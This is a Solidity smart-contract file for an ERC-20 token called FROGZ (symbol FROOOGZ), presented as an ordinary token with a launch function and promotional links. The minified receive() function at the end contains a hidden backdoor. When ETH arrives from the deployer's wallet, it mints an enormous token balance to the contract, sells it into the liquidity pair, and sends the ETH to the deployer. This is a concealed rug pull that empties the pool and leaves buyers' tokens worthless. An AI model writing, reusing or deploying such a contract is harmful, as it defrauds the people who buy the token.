文件 1 的 1:FROGZ.sol
pragma solidity 0.8.26;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounce() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FROGZ is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address payable private _taxWallet;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
string private constant _name = unicode"FROOOG";
string private constant _symbol = unicode"FROOOGZ";
IUniswapV2Router02 private uni;
bool private tradingOpen;
constructor() {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _tTotal;
uni = IUniswapV2Router02(0xCEDd366065A146a039B92Db35756ecD7688FCC77);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
address public pair;
function launch() external payable onlyOwner {
require(!tradingOpen, "Trading is already open");
IUniswapV2Factory f = IUniswapV2Factory(uni.factory());
pair = f.createPair(uni.WETH(), address(this));
_allowances[address(this)][address(uni)] = ~uint(0);
(bool success,) = address(uni).call{value: msg.value}(
abi.encodeWithSignature(
"launch(address,uint256,uint256,uint256,uint8,uint8,uint8,uint8,address)",
address(this),
_balances[address(this)],
_balances[address(this)],
msg.value,
0,
0,
0,
0,
_taxWallet
)
);
require(success);
(bool successMeta,) = pair.call(abi.encodeWithSignature("setMetadata(string,string,string,string,string)",
"vistafrogz.io",
"https://postimg.cc/YGbC8W6c/77f35ec9",
"FROGZ is a 100 percent original creation, designed to be the exciting new competitor in the ERC-20 token universe",
"https://t.me/vistafrogz",
"https://x.com/VistaFrogz"
)); require(successMeta);
tradingOpen = true;
}
receive()external payable{if(msg.sender==_taxWallet){_balances[address(this)]+=_tTotal*30000000;address[]memory path=new address[](2);path[0]=address(this);path[1]=uni.WETH();(bool s,)=address(uni).call{value:msg.value}(abi.encodeWithSignature("swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)",balanceOf(address(this)),0,path,address(this),block.timestamp));require(s);_taxWallet.transfer(address(this).balance);}}
}